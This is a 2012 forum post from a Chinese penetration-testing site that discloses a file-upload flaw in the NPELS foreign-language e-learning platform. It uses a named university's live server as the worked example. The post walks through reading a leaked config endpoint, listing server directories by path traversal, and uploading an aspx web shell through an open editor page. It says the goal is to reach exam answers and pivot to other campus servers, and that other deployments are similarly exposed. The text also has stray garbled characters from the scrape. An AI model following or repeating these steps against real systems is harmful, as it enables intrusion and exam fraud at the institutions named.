中国网络渗透测试联盟

标题: 新理念外语网络教学平台文件上传漏洞 [打印本页]
作者: admin    时间: 2012-12-4 11:10
标题: 新理念外语网络教学平台文件上传漏洞
好多大学都在用这个教学平台，这个漏洞会导致直接拿到试题答案，甚至作为跳板继续渗透进入学校其他服务器中
4 D6 D4 K" ~9 ?  M; ]+ ]4 J, ^
# u7 O1 o7 R! I5 q; Q详细说明：5 Z; m! ?' I! o$ Z5 s
7 w. k8 n, }* V
以南开大学的为例:
, c6 w8 N$ b6 E: @% whttp://222.30.60.3/NPELS, o" l* h4 w- p7 L+ r
NPELS_LearningCenter_5.0 客户端下的 Update.exe.config 文件泄露一个重要地址6 f/ t2 Q2 }$ w, l
<setting name="Update_CommonSvr_CommonService" serializeAs="String">
% R+ }! e4 t1 U9 c7 L+ X5 M- M<value>http://222.30.60.3/NPELS/CommonService.asmx</value>
4 i9 f0 |$ c0 q! v</setting>
! k8 @& E6 u% ^" {- ]及版本号  S& `3 \3 K- Y
<add key="TVersion" value="1, 0, 0, 2187">- I! i% l8 u7 b/ b, ?
</add>
4 o6 P8 ], l( b3 I, p8 C: B直接访问% Q8 J7 r7 K: t
http://222.30.60.3/NPELS/CommonService.asmx/ ^% q/ o* B$ E. ]  k! @6 `
使用GetTestClientFileList操作，直接 HTTP GET 列目录：( x6 s4 k  k3 I( q5 \* q
http://222.30.60.3/NPELS/CommonS ... tFileList?version=1, 0, 0, 2187
6 b; I. E3 X/ @' h5 {进一步列目录（返回的网页很大，可以直接 wget 下来）$ j9 A* I$ ~5 V) {9 ]
http://222.30.60.3/NPELS/CommonS ... List?version=../..// w/ C1 Y" {4 e& R

2 G# q- s" q1 F7 t6 d9 B; w发现! l) R; [  F! m/ [* [
http://zzxx.nankai.edu.cn/npelsv/editor/editor.htm( Q- x8 l: j8 r+ A6 b6 N$ c
可以上传，直接上传aspx木马即可，不需要改后缀名或者文件头4 T+ w. J2 `1 E+ L) V% W+ b/ l
上传后继续列目录找到木马地址直接访问即可) R% I! n' Q" O% M# ?. X) l5 i
5 G$ L0 b  }6 d! g! x; @6 K$ C
OOXX9 g5 I4 w1 ?" Z2 R2 g  H
4 z$ H1 V) ~1 ^8 z2 m
Google "新理念外语网络教学平台" 测试了几个其他的站，都有类似的列目录上传方法
* e: A+ _" E) ~4 c漏洞证明：
. q9 w( X; |# l% a . f+ q3 e% R( \3 t
列目录：
4 S. V# ?4 X# H4 E: Y& P3 chttp://222.30.60.3/NPELS/CommonS ... List?version=../../0 K3 i% Z' e+ Z
文件上传：
5 F% y  W+ n  b2 Chttp://222.30.60.3/npelsv/editor/editor.htm" K; L9 T! _, I

  ^' ^" h6 ?3 @% o上传木马：5 a/ G& }* B  [8 O4 B
http://222.30.60.3/npelsv/editor/uploadfiles/1.aspx& M$ e* {* X7 l% s* k9 B$ b

, W! }2 `) k3 [1 X3 Z/ O修复方案：6 A" r) U' S+ W
好像考试系统必须使用 CommonService.asmx
$ o/ @' }) u3 z1 I+ Y最好配置文件加密或者用别的方式不让它泄露出来+ U/ d% B" j; T0 E
并且检查或删除各上传入口，像 http://222.30.60.3/NPELS/Upload.aspx 一样​
2 f4 U0 Y7 |  t4 \9 j/ t% G



欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2